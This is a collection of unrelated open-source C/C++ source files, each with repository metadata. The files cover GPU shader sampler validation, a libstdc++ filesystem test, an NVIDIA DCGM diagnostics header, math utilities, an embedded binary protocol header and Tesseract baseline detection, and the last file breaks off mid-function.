* don't throw an error if two sampler types both point to 0.
*/
if (unit == 0)
continue;
if (TexturesUsed[unit] & ~(1 << tgt)) {
pipeline->InfoLog =
ralloc_asprintf(pipeline,
"Program %d: "
"Texture unit %d is accessed with 2 different types",
shProg[idx]->Name, unit);
return false;
}
TexturesUsed[unit] |= (1 << tgt);
}
active_samplers += shader->num_samplers;
}
if (active_samplers > MAX_COMBINED_TEXTURE_IMAGE_UNITS) {
pipeline->InfoLog =
ralloc_asprintf(pipeline,
"the number of active samplers %d exceed the "
"maximum %d",
active_samplers, MAX_COMBINED_TEXTURE_IMAGE_UNITS);
return false;
}
return true;
}
|
[
"fabriciotoloczko@gmail.com"
] |
fabriciotoloczko@gmail.com
|
3ac97123971bbe6c87c3716ffa04e717e16db6ab
|
51635684d03e47ebad12b8872ff469b83f36aa52
|
/external/gcc-12.1.0/libstdc++-v3/testsuite/experimental/filesystem/operations/file_size.cc
|
6db5ebd6644558dd8674cbd7922f41dac96780c8
|
[
"LGPL-2.1-only",
"GPL-3.0-only",
"GCC-exception-3.1",
"GPL-2.0-only",
"LGPL-3.0-only",
"LGPL-2.0-or-later",
"Zlib",
"LicenseRef-scancode-public-domain"
] |
permissive
|
zhmu/ananas
|
8fb48ddfe3582f85ff39184fc7a3c58725fe731a
|
30850c1639f03bccbfb2f2b03361792cc8fae52e
|
refs/heads/master
| 2022-06-25T10:44:46.256604
| 2022-06-12T17:04:40
| 2022-06-12T17:04:40
| 30,108,381
| 59
| 8
|
Zlib
| 2021-09-26T17:30:30
| 2015-01-31T09:44:33
|
C
|
UTF-8
|
C++
| false
| false
| 1,792
|
cc
|
// Copyright (C) 2015-2022 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License along
// with this library; see the file COPYING3. If not see
// <http://www.gnu.org/licenses/>.
// { dg-options "-DUSE_FILESYSTEM_TS -lstdc++fs" }
// { dg-do run { target c++11 } }
// { dg-require-filesystem-ts "" }
#include <experimental/filesystem>
#include <testsuite_hooks.h>
#include <testsuite_fs.h>
namespace fs = std::experimental::filesystem;
void
test01()
{
std::error_code ec;
auto size = fs::file_size(".", ec);
VERIFY( ec == std::errc::is_a_directory );
VERIFY( size == (std::uintmax_t)-1 );
try {
size = fs::file_size(".");
ec.clear();
} catch (const fs::filesystem_error& e) {
ec = e.code();
}
VERIFY( ec == std::errc::is_a_directory );
VERIFY( size == (std::uintmax_t)-1 );
}
void
test02()
{
fs::path p = __gnu_test::nonexistent_path();
std::error_code ec;
auto size = fs::file_size(p, ec);
VERIFY( ec );
VERIFY( size == (std::uintmax_t)-1 );
try {
size = fs::file_size(p);
ec.clear();
} catch (const fs::filesystem_error& e) {
ec = e.code();
}
VERIFY( ec );
VERIFY( size == (std::uintmax_t)-1 );
}
int
main()
{
test01();
test02();
}
|
[
"rink@rink.nu"
] |
rink@rink.nu
|
facf401bc310e1f3364b2365419aa46b8ce7e1b4
|
3911760a8b34f5c095bb4e9d98c151b44eca1dec
|
/modules/diag/DcgmDiagManager.h
|
390f12ed63fc3d81d6818f214183c3495d3f3fe9
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
APX103/DCGM
|
0e02caf874d090c75768b4a4fb07e4a5c7c5dedc
|
7196e004c2bb7b30e07e3437da900b4cb42ba123
|
refs/heads/master
| 2023-07-22T20:39:24.621421
| 2021-09-01T23:43:05
| 2021-09-01T23:43:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 8,917
|
h
|
/*
* Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <set>
#include <stdexcept>
#include <vector>
#include "DcgmDiagResponseWrapper.h"
#include "DcgmMutex.h"
#include "dcgm_agent.h"
#include "dcgm_structs.h"
#include <DcgmCoreProxy.h>
#include <json/json.h>
#define NVVS_PLUGIN_DIR "NVVS_PLUGIN_DIR"
class DcgmDiagManager
{
public:
/* ctor/dtor responsible for nvmlInit/nvmlShutdown in case not already open */
explicit DcgmDiagManager(dcgmCoreCallbacks_t &dcc);
~DcgmDiagManager();
/**
* Detects if the NVVS_BIN_PATH Environment Variable is set
* Validate the given path to the nvvs binary to use
* Decides whether to use the default path or the path set by the user
*/
std::string GetNvvsBinPath();
/**
* Possibly reset the GPU and enforce its config as part of a policy action
*/
dcgmReturn_t ResetGpuAndEnforceConfig(unsigned int gpuId,
dcgmPolicyAction_t action,
dcgm_connection_id_t connectionId);
/* perform the specified action */
dcgmReturn_t PerformDiag(unsigned int gpuId, dcgmPolicyAction_t action, dcgm_connection_id_t connectionId);
/* perform the specified validation */
dcgmReturn_t RunDiag(dcgmRunDiag_t *drd, DcgmDiagResponseWrapper &response);
/* possibly run the DCGM diagnostic and perform an action */
dcgmReturn_t RunDiagAndAction(dcgmRunDiag_t *drd,
dcgmPolicyAction_t action,
DcgmDiagResponseWrapper &response,
dcgm_connection_id_t connectionId);
/*
* Stops a running diagnostic if any. Does not stop diagnostics that are not launched by nv-hostengine .
*
* Returns: DCGM_ST_OK on success or if no diagnostic is currently running.
* DCGM_ST_* on failure. Currently there are no failure conditions.
*/
dcgmReturn_t StopRunningDiag();
/**
* Enforces User defined configuration for the GPU
* @param gpuId
* @param connectionId
* @return
*/
dcgmReturn_t EnforceGPUConfiguration(unsigned int gpuId, dcgm_connection_id_t connectionId);
/* Execute NVVS.
* Currently output is stored in a local variable and JSON output is not collected but
* place holders are there for when these pieces should be inserted
*/
dcgmReturn_t PerformNVVSExecute(std::string *out, dcgmRunDiag_t *drd, std::string gpuIds = "");
dcgmReturn_t PerformNVVSExecute(std::string *out, dcgmPolicyValidation_t validation, std::string gpuIds = "");
/* Should not be made public... for testing purposes only */
dcgmReturn_t PerformDummyTestExecute(std::string *out);
/*************************************************************************/
/*
* Create the nvvs command for execution.
*
* The executable to run and its arguments are placed in the cmds vector.
*
* @param cmdArgs: vector in which the args will be stored
* @param drd: struct containing details for the diag to run
* @param gpuids: csv list of gpu ids for the nvvs command
*
* Returns: DCGM_ST_OK on SUCCESS
* DCGM_ST_BADPARAM if the given cmdArgs vector is non-empty
*
*/
dcgmReturn_t CreateNvvsCommand(std::vector<std::string> &cmdArgs, dcgmRunDiag_t *drd, std::string gpuIds = "");
/*
* Fill the response structure during a validation action - made public for unit testing
*
* @param output - the output from NVVS we're parsing
* @param response - the response structure we are filling in
* @param groupId - the groupId we ran the diagnostic on
* @param oldRet - the return from PerformExternalCommand.
* @return DCGM_ST_OK on SUCCES
* oldRet if it's an error and we couldn't parse the Json
* DCGM_ST_BADPARAM if oldRet is DCGM_ST_OK and we can't parse the Json
*/
dcgmReturn_t FillResponseStructure(const std::string &output,
DcgmDiagResponseWrapper &response,
unsigned long long groupId,
dcgmReturn_t oldRet);
void FillTestResult(Json::Value &test,
DcgmDiagResponseWrapper &response,
std::set<unsigned int> &gpuIdSet,
double nvvsVersion);
/* perform external command - switched to public for testing*/
dcgmReturn_t PerformExternalCommand(std::vector<std::string> &args, std::string *output);
private:
/* variables */
const std::string m_nvvsPath;
/* Variables for ensuring only one instance of nvvs is running at a time */
DcgmMutex m_mutex; // mutex for m_nvvsPid and m_ticket
pid_t m_nvvsPID; // Do not directly modify this variable. Use UpdateChildPID instead.
uint64_t m_ticket; // Ticket used to prevent invalid updates to pid of child process.
/* pointers to libdcgm callback functions */
DcgmCoreProxy m_coreProxy;
bool m_amShuttingDown; /* Is the diag manager in the process of shutting down?. This
is guarded by m_mutex and only set by ~DcgmDiagManager() */
/* methods */
/* convert a string to a dcgmDiagResponse_t */
dcgmDiagResult_t StringToDiagResponse(std::string);
static bool IsMsgForThisTest(unsigned int testIndex, const std::string &msg, const std::string &gpuMsg);
unsigned int GetTestIndex(const std::string &testName);
/* Converts the given JSON array to a CSV string using the values in the array */
static std::string JsonStringArrayToCsvString(Json::Value &array,
unsigned int testIndex,
const std::string &gpuMsg);
/*
* Get a ticket for updating the PID of nvvs child. The ticket helps ensure that updates to the child PID are valid.
*
* Caller MUST ensure that m_mutex is locked by the calling thread before calling this method.
*/
uint64_t GetTicket();
/*
* Updates the PID of the nvvs child.
* myTicket is used to ensure that the current thread is allowed to update the pid. (e.g. ensure another thread
* has not modified the PID since the calling thread last updated it.)
*/
void UpdateChildPID(pid_t value, uint64_t myTicket);
/*
* Adds the training related options to the command argument array for NVVS based on the contents of the
* dcgmRunDiag_t struct.
*
* Returns true if training arguments were added
* false if no training arguments were added
*/
bool AddTrainingOptions(std::vector<std::string> &cmdArgs, dcgmRunDiag_t *drd);
/*
* Adds the arguments related to the run option based on the contents of the dcgmRunDiag_t struct.
*/
dcgmReturn_t AddRunOptions(std::vector<std::string> &cmdArgs, dcgmRunDiag_t *drd);
void AddMiscellaneousNvvsOptions(std::vector<std::string> &cmdArgs, dcgmRunDiag_t *drd, const std::string &gpuIds);
/*
* Populates the error detail struct with the error and error code if present in the Json
*/
void PopulateErrorDetail(Json::Value &jsonResult, dcgmDiagErrorDetail_t &ed, double nvvsVersion);
/*
* Validate and parse the json output from NVVS into jv, and record the position of jsonStart
*/
dcgmReturn_t ValidateNvvsOutput(const std::string &output,
size_t &jsonStart,
Json::Value &jv,
DcgmDiagResponseWrapper &response);
/*
* Kill an active NVVS process within the specified number of retries.
*
* @param maxRetires[in] - number of times to retry killing NVVS. NOTE: must be at least 3 to send a SIGKILL
* @return DCGM_ST_OK if the process was killed
* DCGM_ST_NOT_KILLED if the process wouldn't die
*/
dcgmReturn_t KillActiveNvvs(unsigned int maxRetries);
std::string GetCompareTestName(const std::string &testname);
/*
* Write the config file (if needed) and add that to the command arguments
*/
dcgmReturn_t AddConfigFile(dcgmRunDiag_t *drd, std::vector<std::string> &cmdArgs);
};
|
[
"dbeer@nvidia.com"
] |
dbeer@nvidia.com
|
5953292d983f0ef654d13ba1431e8be6647fea4e
|
5b0ed16ae612cbe0c3415bb98e930a4751472a80
|
/OpenGL_2/Utils/Mathf.cpp
|
ebc9aad181670a2f101f00b4cf4634092cd137b9
|
[] |
no_license
|
scream870102/OpenGL_HW
|
f3dd2d61b555bb17d98695bc4843e21df7b601d1
|
a8decf57e9250001f5653f2e66aaee09c3728527
|
refs/heads/master
| 2020-09-08T21:01:09.327519
| 2019-12-01T09:34:52
| 2019-12-01T09:34:52
| 221,236,204
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 531
|
cpp
|
#include "Mathf.h"
float Mathf::Clamp(float origin, float max, float min) {
float result = origin;
if (origin > max)result = max;
else if (origin < min)result = min;
return result;
}
float Mathf::GetDeg(const vec3& direction) {
return atan2f(direction.y, direction.x) * Rad2Deg;
}
vec3 Mathf::ConvertToVec3FromDeg(const float degree, const float offset) {
vec3 result;
float radian = (degree + offset) * Deg2Rad;
result.x = cosf(radian);
result.y = sinf(radian);
return result;
}
Mathf::Mathf() {}
Mathf::~Mathf() {}
|
[
"scream870102@gmail.com"
] |
scream870102@gmail.com
|
9e1c18143b299ee91d2180303bf43c6203647677
|
a125339a95ca4135db1b0fd58e2d42183e26d10b
|
/Source/Protocols/TBinaryProtocol.h
|
0e94416bf9ba5f6e937bdefbdb8d18b6c8f4ec58
|
[] |
no_license
|
embedded-tools/PersistenceLibrary
|
ea2ad76a03538455cc68bcab349da6166260bd65
|
0b7a67e963cd5dde6a399f979c2b94d9252f69b9
|
refs/heads/master
| 2023-04-14T03:25:37.138310
| 2023-04-08T13:59:07
| 2023-04-08T13:59:07
| 69,082,643
| 10
| 4
| null | 2019-07-07T12:20:20
| 2016-09-24T05:38:16
|
C++
|
UTF-8
|
C++
| false
| false
| 7,356
|
h
|
/*
* Persistence Library / Protocols / TSRProtocol
*
* Copyright (c) 2016-2018 Ondrej Sterba <osterba@atlas.cz>
*
* https://github.com/embedded-tools/PersistenceLibrary
*
* Permission to use, copy, modify, distribute and sell this software
* and its documentation for any purpose is hereby granted without fee,
* provided that the above copyright notice appear in all copies and
* that both that copyright notice and this permission notice appear
* in supporting documentation.
* It is provided "as is" without express or implied warranty.
*
*/
#ifndef TBINPROTOCOL___H
#define TBINPROTOCOL___H
#include <stdlib.h>
#include "TUserManager.h"
enum ECommand : unsigned short
{
bcPing = 0x01,
bcLogin = 0x02,
bcLogout = 0x03,
bcLedGreenOn = 0x11,
bcLedGreenOff = 0x12,
bcLedGreenToggle = 0x13,
bcLedRedOn = 0x21,
bcLedRedOff = 0x22,
bcLedRedToggle = 0x23,
bcOutputOn = 0x31,
bcOutputOff = 0x32,
bcOutputToggle = 0x33,
bcBeep = 0x41,
bcReadConfiguration = 0x51,
bcWriteConfiguration = 0x52,
bcReadData = 0x61,
bcWriteData = 0x62,
bcReadDataExternal = 0x63,
bcWriteDataExternal = 0x64,
bcOpenPort = 0x71,
bcClosePort = 0x72,
bcReadFromPort = 0x73,
bcWriteToPort = 0x74,
bcCustomCommand = 0x80,
bcMax,
bcForceInt16 = 0x7FFF
};
enum ECommandResult : unsigned short
{
crUnknown = 0x00,
crSuccess,
crTimeout,
crClassNotInitialized,
crLoginRequired,
crInvalidCRC,
crInvalidCommand,
crInvalidRequest,
crInvalidResponse,
crInvalidArgument,
crInvalidCredentials,
crBufferTooSmall,
crAddressMismatch,
crForceInt16 = 0x7FFF
};
struct TRequest
{
unsigned short packetId;
unsigned short senderAddress;
unsigned short targetAddress;
ECommand command;
unsigned short customParam1;
unsigned short customParam2;
unsigned short customParam3;
unsigned short dataLength;
unsigned char* data;
ECommandResult error;
};
struct TResponse
{
unsigned short packetId;
unsigned short senderAddress;
unsigned short targetAddress;
ECommandResult response;
unsigned short dataLength;
unsigned char* data;
ECommandResult error;
};
class TBinaryProtocol
{
public:
typedef void (*SleepCallback)(unsigned short time_ms);
typedef void (*SendPacketCallback)(unsigned char* data, unsigned short dataLength);
private:
unsigned char m_magicByte1;
unsigned char m_magicByte2;
unsigned short m_packetCounter;
unsigned short m_busAddress;
SleepCallback m_sleepCallback;
SendPacketCallback m_sendPacketCallback;
unsigned char* m_inputBuffer;
unsigned short m_inputBufferSize;
unsigned short m_inputBufferPos;
unsigned char* m_outputBuffer;
unsigned short m_outputBufferSize;
unsigned short m_outputBufferPos;
bool m_loginComplete;
unsigned short m_loginDeviceAddress;
TUserManager* m_userManager;
unsigned char m_lastNonce[64];
bool VerifyPassword (unsigned char* hash, unsigned short hashLength);
bool CalculateHash(const char* userName, const char* password,
unsigned char* nonce, unsigned short nonceLength,
unsigned char* out_hash);
public:
TBinaryProtocol(bool loginRequiredFirst = false);
//class settings
void SetBusAddress (unsigned short busAddress);
void SetSleepCallback(SleepCallback sleepFunction);
void SetSendPacketCallback(SendPacketCallback sendPacketFunction);
void SetOutputBuffer(unsigned char* outputPacketBuffer, unsigned short outputPacketSize);
void SetInputBuffer(unsigned char* inputPacketBuffer, unsigned short inputPacketSize);
void SetUserManager(TUserManager* userManager);
//buffer
void ClearOutputBuffer();
void ClearInputBuffer();
void DeleteFromInputBuffer(unsigned short dataLength);
void DataReceived(unsigned char* data, unsigned short dataLength);
//generic commands
TResponse WaitForSpecificResponse(const TRequest request,
unsigned short timeOut);
TResponse WaitForResponse(unsigned short timeOut,
unsigned short expectedPacketId = 0);
TRequest WaitForRequest (unsigned short timeOut);
TRequest SendCommand(unsigned short deviceAddress,
ECommand command,
unsigned short param1 = 0,
unsigned short param2 = 0,
unsigned short param3 = 0,
unsigned short dataLength = 0,
unsigned char* data = NULL);
TResponse SendResponse(TRequest request,
ECommandResult response,
unsigned short dataLength = 0,
unsigned char* data = NULL);
bool Login(unsigned short deviceAddress, const char* userName, const char* password, int timeOut);
TRequest SendPing(unsigned short deviceAddress);
TRequest LedGreenOn(unsigned short deviceAddress, unsigned short ledNumber);
TRequest LedGreenOff(unsigned short deviceAddress, unsigned short ledNumber);
TRequest LedGreenToggle(unsigned short deviceAddress, unsigned short ledNumber);
TRequest LedRedOn(unsigned short deviceAddress, unsigned short ledNumber);
TRequest LedRedOff(unsigned short deviceAddress, unsigned short ledNumber);
TRequest LedRedToggle(unsigned short deviceAddress, unsigned short ledNumber);
TRequest OutputOn(unsigned short deviceAddress, unsigned short outputNumber);
TRequest OutputOff(unsigned short deviceAddress, unsigned short outputNumber);
TRequest OutputToggle(unsigned short deviceAddress, unsigned short outputNumber);
TRequest Beep(unsigned short deviceAddress, unsigned short frequency, unsigned short length);
TRequest ReadConfiguration(unsigned short deviceAddress, unsigned short address, unsigned short length);
TRequest WriteConfiguration(unsigned short deviceAddress, unsigned short address, unsigned short length, unsigned char* data);
TRequest ReadIO(unsigned short deviceAddress, unsigned short ioNumber);
TRequest WriteIO(unsigned short deviceAddress, unsigned short ioNumber, unsigned short ioValue);
TRequest ReadData(unsigned short deviceAddress, unsigned short address, unsigned short length);
TRequest WriteData(unsigned short deviceAddress, unsigned short address, unsigned short length, unsigned char* data);
TRequest ReadDataExternal(unsigned short deviceAddress, unsigned short address, unsigned short length);
TRequest WriteDataExternal(unsigned short deviceAddress, unsigned short address, unsigned short length, unsigned char* data);
TRequest OpenPort(unsigned short deviceAddress, unsigned short portAddress);
TRequest ClosePort(unsigned short deviceAddress, unsigned short portAddress);
TRequest WriteToPort(unsigned short deviceAddress, unsigned short portAddress, unsigned char* data, unsigned short dataLength);
TRequest ReadFromPort(unsigned short deviceAddress, unsigned short portAddress, unsigned short maxDataLength, unsigned short timeOut);
TRequest SendCustomCommand(unsigned short command,
unsigned short deviceAddress,
unsigned short customParam1,
unsigned short customParam2,
unsigned short customParam3,
unsigned char* data,
unsigned short dataLength);
bool Logout(unsigned short deviceAddress, int timeOut);
};
#endif
|
[
"osterba@atlas.cz"
] |
osterba@atlas.cz
|
ac166596bc227dfb7a8e709960db51ebde8feb3f
|
f7c1cef34c2fd1da7d8a7979c6260c00e5d869c9
|
/libraries/tess-two/jni/com_googlecode_tesseract_android/src/textord/baselinedetect.cpp
|
a2c15a6733073f53c8f7e8a9dcbeeea36bea927a
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
Arun-A-P/third-eye
|
764a1f3782b1634ea2fa7471a6f156b504461766
|
075ff74553a31e16546c4cb9712bc0867b63a843
|
refs/heads/master
| 2021-01-23T05:14:56.381563
| 2017-03-27T04:43:11
| 2017-03-27T04:43:11
| 86,290,403
| 2
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 36,673
|
cpp
|
///////////////////////////////////////////////////////////////////////
// File: baselinedetect.cpp
// Description: Initial Baseline Determination.
// Copyright 2012 Google Inc. All Rights Reserved.
// Author: rays@google.com (Ray Smith)
// Created: Mon Apr 30 10:15:31 PDT 2012
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifdef _MSC_VER
#define _USE_MATH_DEFINES
#endif // _MSC_VER
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include "baselinedetect.h"
#include <math.h>
#include "allheaders.h"
#include "blobbox.h"
#include "detlinefit.h"
#include "drawtord.h"
#include "helpers.h"
#include "linlsq.h"
#include "makerow.h"
#include "textord.h"
#include "tprintf.h"
#include "underlin.h"
// Number of displacement modes kept in displacement_modes_;
const int kMaxDisplacementsModes = 3;
// Number of points to skip when retrying initial fit.
const int kNumSkipPoints = 3;
// Max angle deviation (in radians) allowed to keep the independent baseline.
const double kMaxSkewDeviation = 1.0 / 64;
// Fraction of line spacing estimate for quantization of blob displacements.
const double kOffsetQuantizationFactor = 3.0 / 64;
// Fraction of line spacing estimate for computing blob fit error.
const double kFitHalfrangeFactor = 6.0 / 64;
// Max fraction of line spacing allowed before a baseline counts as badly fitting.
const double kMaxBaselineError = 3.0 / 64;
// Multiple of linespacing that sets max_blob_size in TO_BLOCK.
// Copied from textord_excess_blobsize.
const double kMaxBlobSizeMultiple = 1.3;
// Min fraction of linespacing gaps that should be close to the model before
// we will force the linespacing model on all the lines.
const double kMinFittingLinespacings = 0.25;
// A y-coordinate within a textline that is to be debugged.
//#define kDebugYCoord 1525
namespace tesseract {
BaselineRow::BaselineRow(double line_spacing, TO_ROW* to_row)
: blobs_(to_row->blob_list()),
baseline_pt1_(0.0f, 0.0f), baseline_pt2_(0.0f, 0.0f),
baseline_error_(0.0), good_baseline_(false) {
ComputeBoundingBox();
// Compute a scale factor for rounding to ints.
disp_quant_factor_ = kOffsetQuantizationFactor * line_spacing;
fit_halfrange_ = kFitHalfrangeFactor * line_spacing;
max_baseline_error_ = kMaxBaselineError * line_spacing;
}
// Sets the TO_ROW with the output straight line.
void BaselineRow::SetupOldLineParameters(TO_ROW* row) const {
// TODO(rays) get rid of this when m and c are no longer used.
double gradient = tan(BaselineAngle());
// para_c is the actual intercept of the baseline on the y-axis.
float para_c = StraightYAtX(0.0);
row->set_line(gradient, para_c, baseline_error_);
row->set_parallel_line(gradient, para_c, baseline_error_);
}
// Outputs diagnostic information.
void BaselineRow::Print() const {
tprintf("Baseline (%g,%g)->(%g,%g), angle=%g, intercept=%g\n",
baseline_pt1_.x(), baseline_pt1_.y(),
baseline_pt2_.x(), baseline_pt2_.y(),
BaselineAngle(), StraightYAtX(0.0));
tprintf("Quant factor=%g, error=%g, good=%d, box:",
disp_quant_factor_, baseline_error_, good_baseline_);
bounding_box_.print();
}
// Returns the skew angle (in radians) of the current baseline in [-pi,pi].
double BaselineRow::BaselineAngle() const {
FCOORD baseline_dir(baseline_pt2_ - baseline_pt1_);
double angle = baseline_dir.angle();
// Baseline directions are only unique in a range of pi so constrain to
// [-pi/2, pi/2].
return fmod(angle + M_PI * 1.5, M_PI) - M_PI * 0.5;
}
// Computes and returns the linespacing at the middle of the overlap
// between this and other.
double BaselineRow::SpaceBetween(const BaselineRow& other) const {
// Find the x-centre of overlap of the lines.
float x = (MAX(bounding_box_.left(), other.bounding_box_.left()) +
MIN(bounding_box_.right(), other.bounding_box_.right())) / 2.0f;
// Find the vertical centre between them.
float y = (StraightYAtX(x) + other.StraightYAtX(x)) / 2.0f;
// Find the perpendicular distance of (x,y) from each line.
FCOORD pt(x, y);
return PerpDistanceFromBaseline(pt) + other.PerpDistanceFromBaseline(pt);
}
// Computes and returns the displacement of the center of the line
// perpendicular to the given direction.
double BaselineRow::PerpDisp(const FCOORD& direction) const {
float middle_x = (bounding_box_.left() + bounding_box_.right()) / 2.0f;
FCOORD middle_pos(middle_x, StraightYAtX(middle_x));
return direction * middle_pos / direction.length();
}
// Computes the y coordinate at the given x using the straight baseline
// defined by baseline_pt1_ and baseline_pt2__.
double BaselineRow::StraightYAtX(double x) const {
double denominator = baseline_pt2_.x() - baseline_pt1_.x();
if (denominator == 0.0)
return (baseline_pt1_.y() + baseline_pt2_.y()) / 2.0;
return baseline_pt1_.y() +
(x - baseline_pt1_.x()) * (baseline_pt2_.y() - baseline_pt1_.y()) /
denominator;
}
// Fits a straight baseline to the points. Returns true if it had enough
// points to be reasonably sure of the fitted baseline.
// If use_box_bottoms is false, baselines positions are formed by
// considering the outlines of the blobs.
bool BaselineRow::FitBaseline(bool use_box_bottoms) {
// Deterministic fitting is used wherever possible.
fitter_.Clear();
// Linear least squares is a backup if the DetLineFit produces a bad line.
LLSQ llsq;
BLOBNBOX_IT blob_it(blobs_);
for (blob_it.mark_cycle_pt(); !blob_it.cycled_list(); blob_it.forward()) {
BLOBNBOX* blob = blob_it.data();
if (!use_box_bottoms) blob->EstimateBaselinePosition();
const TBOX& box = blob->bounding_box();
int x_middle = (box.left() + box.right()) / 2;
#ifdef kDebugYCoord
if (box.bottom() < kDebugYCoord && box.top() > kDebugYCoord) {
tprintf("Box bottom = %d, baseline pos=%d for box at:",
box.bottom(), blob->baseline_position());
box.print();
}
#endif
fitter_.Add(ICOORD(x_middle, blob->baseline_position()), box.width() / 2);
llsq.add(x_middle, blob->baseline_position());
}
// Fit the line.
ICOORD pt1, pt2;
baseline_error_ = fitter_.Fit(&pt1, &pt2);
baseline_pt1_ = pt1;
baseline_pt2_ = pt2;
if (baseline_error_ > max_baseline_error_ &&
fitter_.SufficientPointsForIndependentFit()) {
// The fit was bad but there were plenty of points, so try skipping
// the first and last few, and use the new line if it dramatically improves
// the error of fit.
double error = fitter_.Fit(kNumSkipPoints, kNumSkipPoints, &pt1, &pt2);
if (error < baseline_error_ / 2.0) {
baseline_error_ = error;
baseline_pt1_ = pt1;
baseline_pt2_ = pt2;
}
}
int debug = 0;
#ifdef kDebugYCoord
Print();
debug = bounding_box_.bottom() < kDebugYCoord &&
bounding_box_.top() > kDebugYCoord
? 3 : 2;
#endif
// Now we obtained a direction from that fit, see if we can improve the
// fit using the same direction and some other start point.
FCOORD direction(pt2 - pt1);
double target_offset = direction * pt1;
good_baseline_ = false;
FitConstrainedIfBetter(debug, direction, 0.0, target_offset);
// Wild lines can be produced because DetLineFit allows vertical lines, but
// vertical text has been rotated so angles over pi/4 should be disallowed.
// Near vertical lines can still be produced by vertically aligned components
// on very short lines.
double angle = BaselineAngle();
if (fabs(angle) > M_PI * 0.25) {
// Use the llsq fit as a backup.
baseline_pt1_ = llsq.mean_point();
baseline_pt2_ = baseline_pt1_ + FCOORD(1.0f, llsq.m());
// TODO(rays) get rid of this when m and c are no longer used.
double m = llsq.m();
double c = llsq.c(m);
baseline_error_ = llsq.rms(m, c);
good_baseline_ = false;
}
return good_baseline_;
}
// Modifies an existing result of FitBaseline to be parallel to the given
// direction vector if that produces a better result.
void BaselineRow::AdjustBaselineToParallel(int debug,
const FCOORD& direction) {
SetupBlobDisplacements(direction);
if (displacement_modes_.empty())
return;
#ifdef kDebugYCoord
if (bounding_box_.bottom() < kDebugYCoord &&
bounding_box_.top() > kDebugYCoord && debug < 3)
debug = 3;
#endif
FitConstrainedIfBetter(debug, direction, 0.0, displacement_modes_[0]);
}
// Modifies the baseline to snap to the textline grid if the existing
// result is not good enough.
double BaselineRow::AdjustBaselineToGrid(int debug,
const FCOORD& direction,
double line_spacing,
double line_offset) {
if (blobs_->empty()) {
if (debug > 1) {
tprintf("Row empty at:");
bounding_box_.print();
}
return line_offset;
}
// Find the displacement_modes_ entry nearest to the grid.
double best_error = 0.0;
int best_index = -1;
for (int i = 0; i < displacement_modes_.size(); ++i) {
double blob_y = displacement_modes_[i];
double error = BaselineBlock::SpacingModelError(blob_y, line_spacing,
line_offset);
if (debug > 1) {
tprintf("Mode at %g has error %g from model \n", blob_y, error);
}
if (best_index < 0 || error < best_error) {
best_error = error;
best_index = i;
}
}
// We will move the baseline only if the chosen mode is close enough to the
// model.
double model_margin = max_baseline_error_ - best_error;
if (best_index >= 0 && model_margin > 0.0) {
// But if the current baseline is already close to the mode there is no
// point, and only the potential to damage accuracy by changing its angle.
double perp_disp = PerpDisp(direction);
double shift = displacement_modes_[best_index] - perp_disp;
if (fabs(shift) > max_baseline_error_) {
if (debug > 1) {
tprintf("Attempting linespacing model fit with mode %g to row at:",
displacement_modes_[best_index]);
bounding_box_.print();
}
FitConstrainedIfBetter(debug, direction, model_margin,
displacement_modes_[best_index]);
} else if (debug > 1) {
tprintf("Linespacing model only moves current line by %g for row at:",
shift);
bounding_box_.print();
}
} else if (debug > 1) {
tprintf("Linespacing model not close enough to any mode for row at:");
bounding_box_.print();
}
return fmod(PerpDisp(direction), line_spacing);
}
// Sets up displacement_modes_ with the top few modes of the perpendicular
// distance of each blob from the given direction vector, after rounding.
void BaselineRow::SetupBlobDisplacements(const FCOORD& direction) {
// Set of perpendicular displacements of the blob bottoms from the required
// baseline direction.
GenericVector<double> perp_blob_dists;
displacement_modes_.truncate(0);
// Gather the skew-corrected position of every blob.
double min_dist = MAX_FLOAT32;
double max_dist = -MAX_FLOAT32;
BLOBNBOX_IT blob_it(blobs_);
bool debug = false;
for (blob_it.mark_cycle_pt(); !blob_it.cycled_list(); blob_it.forward()) {
BLOBNBOX* blob = blob_it.data();
const TBOX& box = blob->bounding_box();
#ifdef kDebugYCoord
if (box.bottom() < kDebugYCoord && box.top() > kDebugYCoord) debug = true;
#endif
FCOORD blob_pos((box.left() + box.right()) / 2.0f,
blob->baseline_position());
double offset = direction * blob_pos;
perp_blob_dists.push_back(offset);
if (debug) {
tprintf("Displacement %g for blob at:", offset);
box.print();
}
UpdateRange(offset, &min_dist, &max_dist);
}
// Set up a histogram using disp_quant_factor_ as the bucket size.
STATS dist_stats(IntCastRounded(min_dist / disp_quant_factor_),
IntCastRounded(max_dist / disp_quant_factor_) + 1);
for (int i = 0; i < perp_blob_dists.size(); ++i) {
dist_stats.add(IntCastRounded(perp_blob_dists[i] / disp_quant_factor_), 1);
}
GenericVector<KDPairInc<float, int> > scaled_modes;
dist_stats.top_n_modes(kMaxDisplacementsModes, &scaled_modes);
if (debug) {
for (int i = 0; i < scaled_modes.size(); ++i) {
